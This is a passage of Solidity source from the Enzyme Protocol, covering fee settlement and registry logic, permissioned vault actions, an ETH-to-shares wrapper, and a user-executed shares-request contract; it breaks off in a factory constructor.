/// their local state after all VaultProxy state transitions (i.e., minting, burning,
/// transferring shares) have finished. To optimize for the expensive operation of calculating
/// GAV, once one fee requires GAV, we recycle that `gav` value for subsequent fees.
/// Assumes that _gav is either 0 or has already been validated.
function __invokeHook(
address _comptrollerProxy,
FeeHook _hook,
bytes memory _settlementData,
uint256 _gavOrZero,
bool _updateFees
) private {
address[] memory fees = comptrollerProxyToFees[_comptrollerProxy];
if (fees.length == 0) {
return;
}
address vaultProxy = getVaultProxyForFund(_comptrollerProxy);
// This check isn't strictly necessary, but its cost is insignificant,
// and helps to preserve data integrity.
require(vaultProxy != address(0), "__invokeHook: Fund is not active");
// First, allow all fees to implement settle()
uint256 gav = __settleFees(
_comptrollerProxy,
vaultProxy,
fees,
_hook,
_settlementData,
_gavOrZero
);
// Second, allow fees to implement update()
// This function does not allow any further altering of VaultProxy state
// (i.e., burning, minting, or transferring shares)
if (_updateFees) {
__updateFees(_comptrollerProxy, vaultProxy, fees, _hook, _settlementData, gav);
}
}
/// @dev Helper to payout the shares outstanding for the specified fees.
/// Does not call settle() on fees.
/// Only callable via ComptrollerProxy.callOnExtension().
function __payoutSharesOutstandingForFees(address _comptrollerProxy, bytes memory _callArgs)
private
{
address[] memory fees = abi.decode(_callArgs, (address[]));
address vaultProxy = getVaultProxyForFund(msg.sender);
uint256 sharesOutstandingDue;
for (uint256 i; i < fees.length; i++) {
if (!IFee(fees[i]).payout(_comptrollerProxy, vaultProxy)) {
continue;
}
uint256 sharesOutstandingForFee
= comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][fees[i]];
if (sharesOutstandingForFee == 0) {
continue;
}
sharesOutstandingDue = sharesOutstandingDue.add(sharesOutstandingForFee);
// Delete shares outstanding and distribute from VaultProxy to the fees recipient
comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][fees[i]] = 0;
emit SharesOutstandingPaidForFund(_comptrollerProxy, fees[i], sharesOutstandingForFee);
}
if (sharesOutstandingDue > 0) {
__transferShares(
_comptrollerProxy,
vaultProxy,
IVault(vaultProxy).getOwner(),
sharesOutstandingDue
);
}
}
/// @dev Helper to settle a fee
function __settleFee(
address _comptrollerProxy,
address _vaultProxy,
address _fee,
FeeHook _hook,
bytes memory _settlementData,
uint256 _gav
) private {
(SettlementType settlementType, address payer, uint256 sharesDue) = IFee(_fee).settle(
_comptrollerProxy,
_vaultProxy,
_hook,
_settlementData,
_gav
);
if (settlementType == SettlementType.None) {
return;
}
address payee;
if (settlementType == SettlementType.Direct) {
payee = IVault(_vaultProxy).getOwner();
__transferShares(_comptrollerProxy, payer, payee, sharesDue);
} else if (settlementType == SettlementType.Mint) {
payee = IVault(_vaultProxy).getOwner();
__mintShares(_comptrollerProxy, payee, sharesDue);
} else if (settlementType == SettlementType.Burn) {
__burnShares(_comptrollerProxy, payer, sharesDue);
} else if (settlementType == SettlementType.MintSharesOutstanding) {
comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee] = comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee]
.add(sharesDue);
payee = _vaultProxy;
__mintShares(_comptrollerProxy, payee, sharesDue);
} else if (settlementType == SettlementType.BurnSharesOutstanding) {
comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee] = comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee]
.sub(sharesDue);
payer = _vaultProxy;
__burnShares(_comptrollerProxy, payer, sharesDue);
} else {
revert("__settleFee: Invalid SettlementType");
}
emit FeeSettledForFund(_comptrollerProxy, _fee, settlementType, payer, payee, sharesDue);
}
/// @dev Helper to settle fees that implement a given fee hook
function __settleFees(
address _comptrollerProxy,
address _vaultProxy,
address[] memory _fees,
FeeHook _hook,
bytes memory _settlementData,
uint256 _gavOrZero
) private returns (uint256 gav_) {
gav_ = _gavOrZero;
for (uint256 i; i < _fees.length; i++) {
if (!feeSettlesOnHook(_fees[i], _hook)) {
continue;
}
gav_ = __getGavAsNecessary(_comptrollerProxy, _fees[i], gav_);
__settleFee(_comptrollerProxy, _vaultProxy, _fees[i], _hook, _settlementData, gav_);
}
return gav_;
}
/// @dev Helper to update fees that implement a given fee hook
function __updateFees(
address _comptrollerProxy,
address _vaultProxy,
address[] memory _fees,
FeeHook _hook,
bytes memory _settlementData,
uint256 _gavOrZero
) private {
uint256 gav = _gavOrZero;
for (uint256 i; i < _fees.length; i++) {
if (!feeUpdatesOnHook(_fees[i], _hook)) {
continue;
}
gav = __getGavAsNecessary(_comptrollerProxy, _fees[i], gav);
IFee(_fees[i]).update(_comptrollerProxy, _vaultProxy, _hook, _settlementData, gav);
}
}
///////////////////
// FEES REGISTRY //
///////////////////
/// @notice Remove fees from the list of registered fees
/// @param _fees Addresses of fees to be deregistered
function deregisterFees(address[] calldata _fees) external onlyFundDeployerOwner {
require(_fees.length > 0, "deregisterFees: _fees cannot be empty");
for (uint256 i; i < _fees.length; i++) {
require(isRegisteredFee(_fees[i]), "deregisterFees: fee is not registered");
registeredFees.remove(_fees[i]);
emit FeeDeregistered(_fees[i], IFee(_fees[i]).identifier());
}
}
/// @notice Add fees to the list of registered fees
/// @param _fees Addresses of fees to be registered
/// @dev Stores the hooks that a fee implements and whether each implementation uses GAV,
/// which fronts the gas for calls to check if a hook is implemented, and guarantees
/// that these hook implementation return values do not change post-registration.
function registerFees(address[] calldata _fees) external onlyFundDeployerOwner {
require(_fees.length > 0, "registerFees: _fees cannot be empty");
for (uint256 i; i < _fees.length; i++) {
require(!isRegisteredFee(_fees[i]), "registerFees: fee already registered");
registeredFees.add(_fees[i]);
IFee feeContract = IFee(_fees[i]);
(
FeeHook[] memory implementedHooksForSettle,
FeeHook[] memory implementedHooksForUpdate,
bool usesGavOnSettle,
bool usesGavOnUpdate
) = feeContract.implementedHooks();
// Stores the hooks for which each fee implements settle() and update()
for (uint256 j; j < implementedHooksForSettle.length; j++) {
feeToHookToImplementsSettle[_fees[i]][implementedHooksForSettle[j]] = true;
}
for (uint256 j; j < implementedHooksForUpdate.length; j++) {
feeToHookToImplementsUpdate[_fees[i]][implementedHooksForUpdate[j]] = true;
}
// Stores whether each fee requires GAV during its implementations for settle() and update()
if (usesGavOnSettle) {
feeToUsesGavOnSettle[_fees[i]] = true;
}
if (usesGavOnUpdate) {
feeToUsesGavOnUpdate[_fees[i]] = true;
}
emit FeeRegistered(
_fees[i],
feeContract.identifier(),
implementedHooksForSettle,
implementedHooksForUpdate,
usesGavOnSettle,
usesGavOnUpdate
);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Get a list of enabled fees for a given fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return enabledFees_ An array of enabled fee addresses
function getEnabledFeesForFund(address _comptrollerProxy)
external
view
returns (address[] memory enabledFees_)
{
return comptrollerProxyToFees[_comptrollerProxy];
}
/// @notice Get the amount of shares outstanding for a particular fee for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _fee The fee address
/// @return sharesOutstanding_ The amount of shares outstanding
function getFeeSharesOutstandingForFund(address _comptrollerProxy, address _fee)
external
view
returns (uint256 sharesOutstanding_)
{
return comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee];
}
/// @notice Get all registered fees
/// @return registeredFees_ A list of all registered fee addresses
function getRegisteredFees() external view returns (address[] memory registeredFees_) {
registeredFees_ = new address[](registeredFees.length());
for (uint256 i; i < registeredFees_.length; i++) {
registeredFees_[i] = registeredFees.at(i);
}
return registeredFees_;
}
/// @notice Checks if a fee implements settle() on a particular hook
/// @param _fee The address of the fee to check
/// @param _hook The FeeHook to check
/// @return settlesOnHook_ True if the fee settles on the given hook
function feeSettlesOnHook(address _fee, FeeHook _hook)
public
view
returns (bool settlesOnHook_)
{
return feeToHookToImplementsSettle[_fee][_hook];
}
/// @notice Checks if a fee implements update() on a particular hook
/// @param _fee The address of the fee to check
/// @param _hook The FeeHook to check
/// @return updatesOnHook_ True if the fee updates on the given hook
function feeUpdatesOnHook(address _fee, FeeHook _hook)
public
view
returns (bool updatesOnHook_)
{
return feeToHookToImplementsUpdate[_fee][_hook];
}
/// @notice Checks if a fee uses GAV in its settle() implementation
/// @param _fee The address of the fee to check
/// @return usesGav_ True if the fee uses GAV during settle() implementation
function feeUsesGavOnSettle(address _fee) public view returns (bool usesGav_) {
return feeToUsesGavOnSettle[_fee];
}
/// @notice Checks if a fee uses GAV in its update() implementation
/// @param _fee The address of the fee to check
/// @return usesGav_ True if the fee uses GAV during update() implementation
function feeUsesGavOnUpdate(address _fee) public view returns (bool usesGav_) {
return feeToUsesGavOnUpdate[_fee];
}
/// @notice Check whether a fee is registered
/// @param _fee The address of the fee to check
/// @return isRegisteredFee_ True if the fee is registered
function isRegisteredFee(address _fee) public view returns (bool isRegisteredFee_) {
return registeredFees.contains(_fee);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../core/fund/comptroller/IComptroller.sol";
/// @title PermissionedVaultActionMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract for extensions that can make permissioned vault calls
abstract contract PermissionedVaultActionMixin {
/// @notice Adds a tracked asset to the fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _asset The asset to add
function __addTrackedAsset(address _comptrollerProxy, address _asset) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.AddTrackedAsset,
abi.encode(_asset)
);
}
/// @notice Grants an allowance to a spender to use a fund's asset
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _asset The asset for which to grant an allowance
/// @param _target The spender of the allowance
/// @param _amount The amount of the allowance
function __approveAssetSpender(
address _comptrollerProxy,
address _asset,
address _target,
uint256 _amount
) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.ApproveAssetSpender,
abi.encode(_asset, _target, _amount)
);
}
/// @notice Burns fund shares for a particular account
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _target The account for which to burn shares
/// @param _amount The amount of shares to burn
function __burnShares(
address _comptrollerProxy,
address _target,
uint256 _amount
) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.BurnShares,
abi.encode(_target, _amount)
);
}
/// @notice Mints fund shares to a particular account
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _target The account to which to mint shares
/// @param _amount The amount of shares to mint
function __mintShares(
address _comptrollerProxy,
address _target,
uint256 _amount
) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.MintShares,
abi.encode(_target, _amount)
);
}
/// @notice Removes a tracked asset from the fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _asset The asset to remove
function __removeTrackedAsset(address _comptrollerProxy, address _asset) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.RemoveTrackedAsset,
abi.encode(_asset)
);
}
/// @notice Transfers fund shares from one account to another
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _from The account from which to transfer shares
/// @param _to The account to which to transfer shares
/// @param _amount The amount of shares to transfer
function __transferShares(
address _comptrollerProxy,
address _from,
address _to,
uint256 _amount
) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.TransferShares,
abi.encode(_from, _to, _amount)
);
}
/// @notice Withdraws an asset from the VaultProxy to a given account
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _asset The asset to withdraw
/// @param _target The account to which to withdraw the asset
/// @param _amount The amount of asset to withdraw
function __withdrawAssetTo(
address _comptrollerProxy,
address _asset,
address _target,
uint256 _amount
) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.WithdrawAssetTo,
abi.encode(_asset, _target, _amount)
);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../interfaces/IWETH.sol";
import "../core/fund/comptroller/ComptrollerLib.sol";
import "../extensions/fee-manager/FeeManager.sol";
/// @title FundActionsWrapper Contract
/// @author Enzyme Council <[email protected]>
/// @notice Logic related to wrapping fund actions, not necessary in the core protocol
contract FundActionsWrapper {
using SafeERC20 for ERC20;
address private immutable FEE_MANAGER;
address private immutable WETH_TOKEN;
mapping(address => bool) private accountToHasMaxWethAllowance;
constructor(address _feeManager, address _weth) public {
FEE_MANAGER = _feeManager;
WETH_TOKEN = _weth;
}
/// @dev Needed in case WETH not fully used during exchangeAndBuyShares,
/// to unwrap into ETH and refund
receive() external payable {}
// EXTERNAL FUNCTIONS
/// @notice Calculates the net value of 1 unit of shares in the fund's denomination asset
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return netShareValue_ The amount of the denomination asset per share
/// @return isValid_ True if the conversion rates to derive the value are all valid
/// @dev Accounts for fees outstanding. This is a convenience function for external consumption
/// that can be used to determine the cost of purchasing shares at any given point in time.
/// It essentially just bundles settling all fees that implement the Continuous hook and then
/// looking up the gross share value.
function calcNetShareValueForFund(address _comptrollerProxy)
external
returns (uint256 netShareValue_, bool isValid_)
{
ComptrollerLib comptrollerProxyContract = ComptrollerLib(_comptrollerProxy);
comptrollerProxyContract.callOnExtension(FEE_MANAGER, 0, "");
return comptrollerProxyContract.calcGrossShareValue(false);
}
/// @notice Exchanges ETH into a fund's denomination asset and then buys shares
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _buyer The account for which to buy shares
/// @param _minSharesQuantity The minimum quantity of shares to buy with the sent ETH
/// @param _exchange The exchange on which to execute the swap to the denomination asset
/// @param _exchangeApproveTarget The address that should be given an allowance of WETH
/// for the given _exchange
/// @param _exchangeData The data with which to call the exchange to execute the swap
/// to the denomination asset
/// @param _minInvestmentAmount The minimum amount of the denomination asset
/// to receive in the trade for investment (not necessary for WETH)
/// @return sharesReceivedAmount_ The actual amount of shares received
/// @dev Use a reasonable _minInvestmentAmount always, in case the exchange
/// does not perform as expected (low incoming asset amount, blend of assets, etc).
/// If the fund's denomination asset is WETH, _exchange, _exchangeApproveTarget, _exchangeData,
/// and _minInvestmentAmount will be ignored.
function exchangeAndBuyShares(
address _comptrollerProxy,
address _denominationAsset,
address _buyer,
uint256 _minSharesQuantity,
address _exchange,
address _exchangeApproveTarget,
bytes calldata _exchangeData,
uint256 _minInvestmentAmount
) external payable returns (uint256 sharesReceivedAmount_) {
// Wrap ETH into WETH
IWETH(payable(WETH_TOKEN)).deposit{value: msg.value}();
// If denominationAsset is WETH, can just buy shares directly
if (_denominationAsset == WETH_TOKEN) {
__approveMaxWethAsNeeded(_comptrollerProxy);
return __buyShares(_comptrollerProxy, _buyer, msg.value, _minSharesQuantity);
}
// Exchange ETH to the fund's denomination asset
__approveMaxWethAsNeeded(_exchangeApproveTarget);
(bool success, bytes memory returnData) = _exchange.call(_exchangeData);
require(success, string(returnData));
// Confirm the amount received in the exchange is above the min acceptable amount
uint256 investmentAmount = ERC20(_denominationAsset).balanceOf(address(this));
require(
investmentAmount >= _minInvestmentAmount,
"exchangeAndBuyShares: _minInvestmentAmount not met"
);
// Give the ComptrollerProxy max allowance for its denomination asset as necessary
__approveMaxAsNeeded(_denominationAsset, _comptrollerProxy, investmentAmount);
// Buy fund shares
sharesReceivedAmount_ = __buyShares(
_comptrollerProxy,
_buyer,
investmentAmount,
_minSharesQuantity
);
// Unwrap and refund any remaining WETH not used in the exchange
uint256 remainingWeth = ERC20(WETH_TOKEN).balanceOf(address(this));
if (remainingWeth > 0) {
IWETH(payable(WETH_TOKEN)).withdraw(remainingWeth);
(success, returnData) = msg.sender.call{value: remainingWeth}("");
require(success, string(returnData));
}
return sharesReceivedAmount_;
}
/// @notice Invokes the Continuous fee hook on all specified fees, and then attempts to payout
/// any shares outstanding on those fees
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _fees The fees for which to run these actions
/// @dev This is just a wrapper to execute two callOnExtension() actions atomically, in sequence.
/// The caller must pass in the fees that they want to run this logic on.
function invokeContinuousFeeHookAndPayoutSharesOutstandingForFund(
address _comptrollerProxy,
address[] calldata _fees
) external {
ComptrollerLib comptrollerProxyContract = ComptrollerLib(_comptrollerProxy);
comptrollerProxyContract.callOnExtension(FEE_MANAGER, 0, "");
comptrollerProxyContract.callOnExtension(FEE_MANAGER, 1, abi.encode(_fees));
}
// PUBLIC FUNCTIONS
/// @notice Gets all fees that implement the `Continuous` fee hook for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return continuousFees_ The fees that implement the `Continuous` fee hook
function getContinuousFeesForFund(address _comptrollerProxy)
public
view
returns (address[] memory continuousFees_)
{
FeeManager feeManagerContract = FeeManager(FEE_MANAGER);
address[] memory fees = feeManagerContract.getEnabledFeesForFund(_comptrollerProxy);
// Count the continuous fees
uint256 continuousFeesCount;
bool[] memory implementsContinuousHook = new bool[](fees.length);
for (uint256 i; i < fees.length; i++) {
if (feeManagerContract.feeSettlesOnHook(fees[i], IFeeManager.FeeHook.Continuous)) {
continuousFeesCount++;
implementsContinuousHook[i] = true;
}
}
// Return early if no continuous fees
if (continuousFeesCount == 0) {
return new address[](0);
}
// Create continuous fees array
continuousFees_ = new address[](continuousFeesCount);
uint256 continuousFeesIndex;
for (uint256 i; i < fees.length; i++) {
if (implementsContinuousHook[i]) {
continuousFees_[continuousFeesIndex] = fees[i];
continuousFeesIndex++;
}
}
return continuousFees_;
}
// PRIVATE FUNCTIONS
/// @dev Helper to approve a target with the max amount of an asset, only when necessary
function __approveMaxAsNeeded(
address _asset,
address _target,
uint256 _neededAmount
) internal {
if (ERC20(_asset).allowance(address(this), _target) < _neededAmount) {
ERC20(_asset).safeApprove(_target, type(uint256).max);
}
}
/// @dev Helper to approve a target with the max amount of weth, only when necessary.
/// Since WETH does not decrease the allowance if it uint256(-1), only ever need to do this
/// once per target.
function __approveMaxWethAsNeeded(address _target) internal {
if (!accountHasMaxWethAllowance(_target)) {
ERC20(WETH_TOKEN).safeApprove(_target, type(uint256).max);
accountToHasMaxWethAllowance[_target] = true;
}
}
/// @dev Helper for buying shares
function __buyShares(
address _comptrollerProxy,
address _buyer,
uint256 _investmentAmount,
uint256 _minSharesQuantity
) private returns (uint256 sharesReceivedAmount_) {
address[] memory buyers = new address[](1);
buyers[0] = _buyer;
uint256[] memory investmentAmounts = new uint256[](1);
investmentAmounts[0] = _investmentAmount;
uint256[] memory minSharesQuantities = new uint256[](1);
minSharesQuantities[0] = _minSharesQuantity;
return
ComptrollerLib(_comptrollerProxy).buyShares(
buyers,
investmentAmounts,
minSharesQuantities
)[0];
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `FEE_MANAGER` variable
/// @return feeManager_ The `FEE_MANAGER` variable value
function getFeeManager() external view returns (address feeManager_) {
return FEE_MANAGER;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
/// @notice Checks whether an account has the max allowance for WETH
/// @param _who The account to check
/// @return hasMaxWethAllowance_ True if the account has the max allowance
function accountHasMaxWethAllowance(address _who)
public
view
returns (bool hasMaxWethAllowance_)
{
return accountToHasMaxWethAllowance[_who];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title WETH Interface
/// @author Enzyme Council <[email protected]>
interface IWETH {
function deposit() external payable;
function withdraw(uint256) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../core/fund/comptroller/ComptrollerLib.sol";
import "../../core/fund/vault/VaultLib.sol";
import "./IAuthUserExecutedSharesRequestor.sol";
/// @title AuthUserExecutedSharesRequestorLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice Provides the logic for AuthUserExecutedSharesRequestorProxy instances,
/// in which shares requests are manually executed by a permissioned user
/// @dev This will not work with a `denominationAsset` that does not transfer
/// the exact expected amount or has an elastic supply.
contract AuthUserExecutedSharesRequestorLib is IAuthUserExecutedSharesRequestor {
using SafeERC20 for ERC20;
using SafeMath for uint256;
event RequestCanceled(
address indexed requestOwner,
uint256 investmentAmount,
uint256 minSharesQuantity
);
event RequestCreated(
address indexed requestOwner,
uint256 investmentAmount,
uint256 minSharesQuantity
);
event RequestExecuted(
address indexed caller,
address indexed requestOwner,
uint256 investmentAmount,
uint256 minSharesQuantity
);
event RequestExecutorAdded(address indexed account);
event RequestExecutorRemoved(address indexed account);
struct RequestInfo {
uint256 investmentAmount;
uint256 minSharesQuantity;
}
uint256 private constant CANCELLATION_COOLDOWN_TIMELOCK = 10 minutes;
address private comptrollerProxy;
address private denominationAsset;
address private fundOwner;
mapping(address => RequestInfo) private ownerToRequestInfo;
mapping(address => bool) private acctToIsRequestExecutor;
mapping(address => uint256) private ownerToLastRequestCancellation;
modifier onlyFundOwner() {
require(msg.sender == fundOwner, "Only fund owner callable");
_;
}
/// @notice Initializes a proxy instance that uses this library
/// @dev Serves as a per-proxy pseudo-constructor
function init(address _comptrollerProxy) external override {
require(comptrollerProxy == address(0), "init: Already initialized");
comptrollerProxy = _comptrollerProxy;
// Cache frequently-used values that require external calls
ComptrollerLib comptrollerProxyContract = ComptrollerLib(_comptrollerProxy);
denominationAsset = comptrollerProxyContract.getDenominationAsset();
fundOwner = VaultLib(comptrollerProxyContract.getVaultProxy()).getOwner();
}
/// @notice Cancels the shares request of the caller
function cancelRequest() external {
RequestInfo memory request = ownerToRequestInfo[msg.sender];
require(request.investmentAmount > 0, "cancelRequest: Request does not exist");
// Delete the request, start the cooldown period, and return the investment asset
delete ownerToRequestInfo[msg.sender];
ownerToLastRequestCancellation[msg.sender] = block.timestamp;
ERC20(denominationAsset).safeTransfer(msg.sender, request.investmentAmount);
emit RequestCanceled(msg.sender, request.investmentAmount, request.minSharesQuantity);
}
/// @notice Creates a shares request for the caller
/// @param _investmentAmount The amount of the fund's denomination asset to use to buy shares
/// @param _minSharesQuantity The minimum quantity of shares to buy with the _investmentAmount
function createRequest(uint256 _investmentAmount, uint256 _minSharesQuantity) external {
require(_investmentAmount > 0, "createRequest: _investmentAmount must be > 0");
require(
ownerToRequestInfo[msg.sender].investmentAmount == 0,
"createRequest: The request owner can only create one request before executed or canceled"
);
require(
ownerToLastRequestCancellation[msg.sender] <
block.timestamp.sub(CANCELLATION_COOLDOWN_TIMELOCK),
"createRequest: Cannot create request during cancellation cooldown period"
);
// Create the Request and take custody of investment asset
ownerToRequestInfo[msg.sender] = RequestInfo({
investmentAmount: _investmentAmount,
minSharesQuantity: _minSharesQuantity
});
ERC20(denominationAsset).safeTransferFrom(msg.sender, address(this), _investmentAmount);
emit RequestCreated(msg.sender, _investmentAmount, _minSharesQuantity);
}
/// @notice Executes multiple shares requests
/// @param _requestOwners The owners of the pending shares requests
function executeRequests(address[] calldata _requestOwners) external {
require(
msg.sender == fundOwner || isRequestExecutor(msg.sender),
"executeRequests: Invalid caller"
);
require(_requestOwners.length > 0, "executeRequests: _requestOwners can not be empty");
(
address[] memory buyers,
uint256[] memory investmentAmounts,
uint256[] memory minSharesQuantities,
uint256 totalInvestmentAmount
) = __convertRequestsToBuySharesParams(_requestOwners);
// Since ComptrollerProxy instances are fully trusted,
// we can approve them with the max amount of the denomination asset,
// and only top the approval back to max if ever necessary.
address comptrollerProxyCopy = comptrollerProxy;
ERC20 denominationAssetContract = ERC20(denominationAsset);
if (
denominationAssetContract.allowance(address(this), comptrollerProxyCopy) <
totalInvestmentAmount
) {
denominationAssetContract.safeApprove(comptrollerProxyCopy, type(uint256).max);
}
ComptrollerLib(comptrollerProxyCopy).buyShares(
buyers,
investmentAmounts,
minSharesQuantities
);
}
/// @dev Helper to convert raw shares requests into the format required by buyShares().
/// It also removes any empty requests, which is necessary to prevent a DoS attack where a user
/// cancels their request earlier in the same block (can be repeated from multiple accounts).
/// This function also removes shares requests and fires success events as it loops through them.
function __convertRequestsToBuySharesParams(address[] memory _requestOwners)
private
returns (
address[] memory buyers_,
uint256[] memory investmentAmounts_,
uint256[] memory minSharesQuantities_,
uint256 totalInvestmentAmount_
)
{
uint256 existingRequestsCount = _requestOwners.length;
uint256[] memory allInvestmentAmounts = new uint256[](_requestOwners.length);
// Loop through once to get the count of existing requests
for (uint256 i; i < _requestOwners.length; i++) {
allInvestmentAmounts[i] = ownerToRequestInfo[_requestOwners[i]].investmentAmount;
if (allInvestmentAmounts[i] == 0) {
existingRequestsCount--;
}
}
// Loop through a second time to format requests for buyShares(),
// and to delete the requests and emit events early so no further looping is needed.
buyers_ = new address[](existingRequestsCount);
investmentAmounts_ = new uint256[](existingRequestsCount);
minSharesQuantities_ = new uint256[](existingRequestsCount);
uint256 existingRequestsIndex;
for (uint256 i; i < _requestOwners.length; i++) {
if (allInvestmentAmounts[i] == 0) {
continue;
}
buyers_[existingRequestsIndex] = _requestOwners[i];
investmentAmounts_[existingRequestsIndex] = allInvestmentAmounts[i];
minSharesQuantities_[existingRequestsIndex] = ownerToRequestInfo[_requestOwners[i]]
.minSharesQuantity;
totalInvestmentAmount_ = totalInvestmentAmount_.add(allInvestmentAmounts[i]);
delete ownerToRequestInfo[_requestOwners[i]];
emit RequestExecuted(
msg.sender,
buyers_[existingRequestsIndex],
investmentAmounts_[existingRequestsIndex],
minSharesQuantities_[existingRequestsIndex]
);
existingRequestsIndex++;
}
return (buyers_, investmentAmounts_, minSharesQuantities_, totalInvestmentAmount_);
}
///////////////////////////////
// REQUEST EXECUTOR REGISTRY //
///////////////////////////////
/// @notice Adds accounts to request executors
/// @param _requestExecutors Accounts to add
function addRequestExecutors(address[] calldata _requestExecutors) external onlyFundOwner {
require(_requestExecutors.length > 0, "addRequestExecutors: Empty _requestExecutors");
for (uint256 i; i < _requestExecutors.length; i++) {
require(
!isRequestExecutor(_requestExecutors[i]),
"addRequestExecutors: Value already set"
);
require(
_requestExecutors[i] != fundOwner,
"addRequestExecutors: The fund owner cannot be added"
);
acctToIsRequestExecutor[_requestExecutors[i]] = true;
emit RequestExecutorAdded(_requestExecutors[i]);
}
}
/// @notice Removes accounts from request executors
/// @param _requestExecutors Accounts to remove
function removeRequestExecutors(address[] calldata _requestExecutors) external onlyFundOwner {
require(_requestExecutors.length > 0, "removeRequestExecutors: Empty _requestExecutors");
for (uint256 i; i < _requestExecutors.length; i++) {
require(
isRequestExecutor(_requestExecutors[i]),
"removeRequestExecutors: Account is not a request executor"
);
acctToIsRequestExecutor[_requestExecutors[i]] = false;
emit RequestExecutorRemoved(_requestExecutors[i]);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the value of `comptrollerProxy` variable
/// @return comptrollerProxy_ The `comptrollerProxy` variable value
function getComptrollerProxy() external view returns (address comptrollerProxy_) {
return comptrollerProxy;
}
/// @notice Gets the value of `denominationAsset` variable
/// @return denominationAsset_ The `denominationAsset` variable value
function getDenominationAsset() external view returns (address denominationAsset_) {
return denominationAsset;
}
/// @notice Gets the value of `fundOwner` variable
/// @return fundOwner_ The `fundOwner` variable value
function getFundOwner() external view returns (address fundOwner_) {
return fundOwner;
}
/// @notice Gets the request info of a user
/// @param _requestOwner The address of the user that creates the request
/// @return requestInfo_ The request info created by the user
function getSharesRequestInfoForOwner(address _requestOwner)
external
view
returns (RequestInfo memory requestInfo_)
{
return ownerToRequestInfo[_requestOwner];
}
/// @notice Checks whether an account is a request executor
/// @param _who The account to check
/// @return isRequestExecutor_ True if _who is a request executor
function isRequestExecutor(address _who) public view returns (bool isRequestExecutor_) {
return acctToIsRequestExecutor[_who];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IAuthUserExecutedSharesRequestor Interface
/// @author Enzyme Council <[email protected]>
interface IAuthUserExecutedSharesRequestor {
function init(address) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../core/fund/comptroller/ComptrollerLib.sol";
import "../../core/fund/vault/VaultLib.sol";
import "./AuthUserExecutedSharesRequestorProxy.sol";
import "./IAuthUserExecutedSharesRequestor.sol";
/// @title AuthUserExecutedSharesRequestorFactory Contract
/// @author Enzyme Council <[email protected]>
/// @notice Deploys and maintains a record of AuthUserExecutedSharesRequestorProxy instances
contract AuthUserExecutedSharesRequestorFactory {
event SharesRequestorProxyDeployed(
address indexed comptrollerProxy,
address sharesRequestorProxy
);
address private immutable AUTH_USER_EXECUTED_SHARES_REQUESTOR_LIB;
address private immutable DISPATCHER;
mapping(address => address) private comptrollerProxyToSharesRequestorProxy;
constructor(address _dispatcher, address _authUserExecutedSharesRequestorLib) public {
AUTH_USER_EXECUTED_SHARES_REQUESTOR_LIB = _authUserExecutedSharesRequestorLib;
